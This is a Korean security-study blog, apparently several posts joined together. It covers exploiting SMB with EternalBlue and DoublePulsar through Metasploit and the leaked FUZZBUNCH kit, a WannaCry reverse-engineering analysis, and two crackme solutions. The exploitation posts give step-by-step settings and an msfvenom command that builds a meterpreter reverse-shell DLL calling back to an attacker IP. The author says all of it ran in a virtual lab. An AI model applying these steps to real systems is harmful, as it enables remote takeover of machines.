이전에 포스팅한 이터널블루와 더블푸자의 익스플로잇 모듈이 있다고 한당.
일단 smb취약점을 이용한 실습이기때문에 모듈을 사용해서 smb취약점을 확인하려고 모듈을 키려는데, 업뎃을 하도안해서 그런지 없어서 모듈을 다운받았다.

https://github.com/jy31241/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb

1

모듈 실행시키고 타겟의 아이피 주소를 rhosts에 설정하고 익스플로잇한다.
그러면 호스트 이스 취약점 있다! 라고 나옵니다.

2

그리고 다운받은 이터널블루 더블푸자 모듈을 smb모듈 폴더에 집어넣고 리로드한다.

3

모듈을 실행시키고 셋팅을 쭉 해준다
타겟이 64비트면 lsass.exe로 해주고 32비트는 exeplorer.exe로 해준다

4

타겟 운영체제에 맞춰서 설정한다.

5

그리고 페이로드도 설정해준다.
로컬호스트는 칼리주소로 설정한다. 설정을 끝내면 위와같은 모습이다.

6

익스플로잇을 해봤다. 잘된다

7

아주잘된다.
커버로스짱

해당 글은 가상환경 에서 실행했습니다.
쉐도우 프로커가 유출한 FUZZBUNCH 공부 기록

윈도우XP 에 설정했다.

필요한 준비물은

https://github.com/misterch0c/shadowbroker
쉐도우 브로커 자료 깃허브
https://www.python.org/download/releases/2.6.6/
파이썬 2.6
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
Pywin32 2.6버전

요로케 3개
왜 파이썬 2.6을 사용하는지는 잘모르지만 윈10에 2.6깔기 싫어서 가상에다 했다.

그리고 환경변수 Path에 파이썬 경로 설정해준다.

설정은 끝났다.

cmd창에서 shadowbroker-master\windows 경로에 있는 fb.py 를 실행시킨다.
실행시키기 전에 windows 경로에 listeningposts라는 폴더를 하나 생성해준다.

1 fb.py를 실행하면 이런 화면이 보이고 순서대로 입력해준다

타겟아이피 입력
콜백아이피 입력(공격자 아이피)
리다이렉션 사용은 알아서 (NO로 했음)
로그를 기록할 디렉토리

2

그리고
프로젝트 인덱스는 대충 숫자 설정해주고
프로젝트 이름도 설정 해주고
로그 기록할껀지 말껀지 설정해주면

퍼즈번치로 들어와짐

use 명령어 입력하면 모듈들이 나온다

3

use Eternalblue 을 입력하면 이터널블루가 실행된다.

다양한 설정들 할꺼냐 안할꺼냐 하는데 그냥 디폴트값 계속 할꺼라서 엔터 눌러주면됨
445포트는 SMB포트임
중간에 Mode는 1번 해야 퍼즈번치사용함

4

방화벽이 켜져있으면 위같은 화면이 나온다.

5

타겟 을 윈7가상으로 바꾸고 방화벽을 내리고 다시 실행했다
이번엔 이터널블루 석세스가 뜬다.

6

칼리에서

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.254.129 lport=4444 -f dll -o /root/Desktop/kangol.dll

명령어를 입력해서 악성 dll을 생성한다.
그리고 그걸 공격하던 xp로 가져온다.

8

핸들러 하나 설정해준다. 위 dll악성코드와 동일한설정으로 한다.

9

그리고 메타스플로잇으로 방금만든 핸들러를 실행시켜준다

7

다시 공격하던 XP로 돌아가서 use Doublepulsar 명령어를 입력해서 더블풀자를 실행한다.

10

설정들을 디폴트로 해주다가

중간에 펑션에서 우리가 사용할 악성코드는 DLL이기 때문에 2번 dll을 설정해준다.
그리고 DLL페이로드 경로는 생성한 악성 DLL의 경로를 넣어준다.

프로세스 네임을 디폴트값으로 해주면 윈7을 해킹할 때 금방 꺼지기 때문에
explorer.exe로 설정한다.

설정은 완료하면 더블풀자 석시드~ 나온다

11

다시 칼리리눅스로 돌아가서 인터프리터 세션이 하나 실행됬다.

12

리버싱하던 윈7이라 컴이름이 리버스엔지니어링으로 나온다 ㅇㅅㅇ

13

sessions -i 1
을 입력한다.

그리고 이런저런 명령어를 처보면 해킹이 됬다는것을 알 수 있다.
14

윈도우7의 바탕화면을 스크린샷 한 모습이다.

커버로스님 짱

1

단순한구조로 되어있습니다. 004078E9 함수에서 워너크라이의 모든 동작들이 실행되고, 004078F2에서 끝이 납니다. 004078E9 함수 내부를 살펴보겠습니다.

2 3

004020BB

현재 침투한 파일의 현재 실행 경로를 반환합니다.
그리고 현재 프로세스의 디렉토리를 변경합니다.

4

004020C3

Software/WanaCrypt0r (아마 HKLM에) 경로에 레지스트리 키를 새로 생성하고 설정 하는 것을 확인했습니다. 따라서 해당경로에 VSE,ENS 액세스 보호 규칙을 사용하면, WNCRYT, .WNCRY 및 / 또는 .WCRY 확장자를 포함하는 암호화 루틴을 방지할 수 있습니다.( McAfree 참고)

5

004020D0

지정한 디렉토리 내부에 (본 환경에선 바탕화면의 악성코드 폴더) 기본적인 동작에 필요한 파일들을 설치합니다. 아직 @WananaCry@파일은 생성되지 않습니다. 최종 감염되면 모든 폴더에 악성 파일들이 생성되는데 현 단계에서는 워너크라이가 존재하는 폴더에만 설치합니다.

6

00401E82함수 내부확인 모습입니다. memcpy, strcpy함수와 파일 생성/작성 을 실행하고 있습니다.

7

0040205

비트코인 주소가 있는 부분입니다. 00401EC5함수는 C.wnry파일을 읽습니다. C.wnry파일은 위에서 생성하는 파일들중 가장 먼저 생성된 파일인데, 문자열을 살펴보니 비트코인 결제를 위한 딥웹인 토르, onion 연결관련 파일로 추정됩니다.

8 9

10

004020E1

새로운 프로세스를 생성합니다. 커맨드 라인이 attrib +h 인데 attrib의 파일특성 설정 기능중 숨김 설정인 +h로 판단됩니다. 워너크라이를 실행 시키면, 악성파일이 최초 침투한 디렉토리는 숨김으로 설정이 바뀌는데, 그러한 행동을 하기위한 프로세스로 추정됩니다.

11

004020ED

마찬가지로 새로운 프로세스를 생성하고. Icacls * /grant Everyone:F /T /C /Q 커맨드를 실행합니다.
액세스 권한을 얻기 위한 커맨드입니다. Full access 하면서, T: 현 디렉토리+하위 디렉토리 모두 조작하고, C: 오류 또한 무시합니다. 그리고 Q: 성공 메시지는 출력하지않습니다.

12

004020F5

Iertuil.dll 관련 모듈을 사용하는 것으로 추정됩니다. 다른 멀웨어들의 사례로 봤을 때 iertutil.dll 인 것 처럼 위장하기 위한 행동으로 판단됩니다.

13

함수 내부로 더 진입하다 보면 CryptoAPI들이 보입니다. CSP호출하고 BLOB암호화를 전송하는데 어차피 암호화 되어있을 부분이라 자세히 확인하지는 않았습니다. CryptDestroyKey 함수전에 CryptExportKey 함수를 이용해서 패치하면 CSP내부 키값 을 알아낼 수 있을거 같습니다.

14

주석

전체적으로 정리하면 이런 형태로 진행됩니다. 마지막에 “TaskStart” 문자열을 비교하여 진행되고, 콜백하면서 감염이 됩니다.

프로그램을 처음에 실행해 봤는데 그림 11 같은 메시지박스가 뜨더니 1부터 대략 760까지 계속 확인을 눌렀다. 군생활이 700대인거 보니까 옛날사람으로 추정된다. 나는 600대였다. 직접 확인해도 되지만, 메시지박스 출력할 때 반복문을 찾아서 확인하라는 문제같다. UPX언패킹하고 시작한다.

문자열에서 남은군생활은? 이란 문자가 안보여서 일단 실행하다 보니 에러창이 떴다.

1

안티 디버깅이 되어 있다. 찾아서 수정했다.

2

메시지박스가 계속 반복되는 프로그램이므로 메시지박스 관련 함수들을 찾아봤다. MessageBoxA는 안티디버깅 메시지 출력함수이므로 넘어가고 MessageBoxW함수에 전부 브레이크 포인트를 걸었다.

3

0045E071의 메시지박스 함수가 군생활 메시지를 출력한다.

4

일수가 한 두 군데가 아니라 여러 군데에 저장된다. 008AF820 에도 저장 된다

근데 이게 별로 중요하지는 않다. 어차피 메시지박스 함수를 반복하는 반복문의 카운트 값과 비교하는 부분이 군생활 인데 그 부분을 찾아야 한다.

5

메시지 박스 출력 후 진행하면 00412949로 CALL하는 부분이 많이 보인다. 문제와 관련 없는 함수이기 때문에, heap free라고 표시했다. 딱히 별다른 힌트를 얻을 수 없어서, 명확하게 명시가 안된 함수들은 전부 들어가보고 아니라고 판단되면 표시를 했다.

6

솔직히 노가다 외에는 방법이 생각 안나는 문제다. 하나하나 확인하다가 Switch문이 많이 보이는 부분이 있었고 거기서 EAX에 군생활 수가 입력되고 EBP와 비교하여 분기를 나눈다. EBP는 316 10진수로 바꾸면 790이다.

MD5해쉬로 인크립션 하면 2dace78f80bc92e6d7493423d729448e 이다. 다른 해결방법들을 찾아봤는데 메시지박스 부분을 수정해서 바로 끝 값이 나오게 수정하는 방법이 가장 좋은 방법처럼 보였다.

문제 : Serial 을 구하시오

3,4번이랑 비슷한 문제다. 다만 Visual Basic 으로 코딩된 프로그램이라 비교함수만 조금 다를뿐이다. 00402476 에 vbaStrCmp함수에 브레이크 포인트를 걸고 실행한 뒤, 임의로 12345를 입력했다.

1

함수 내부를 확인해본 결과 0015613C에 677345가 저장 되있고, 156104에 내가 임의로 입력한 12345가 저장되있다. 이 두 스택을 73457A4c에 VarBstrcmp 에서 비교를 하고 내부함수들을 모두 빠져나올 때, 값이 다르면 EAX가 FFFFFFFF(-1)로 리턴되고 같으면 00000000으로 리턴 된다.. 그리고 맞는지 틀린지에 대한 메시지박스가 출력된다.

23

45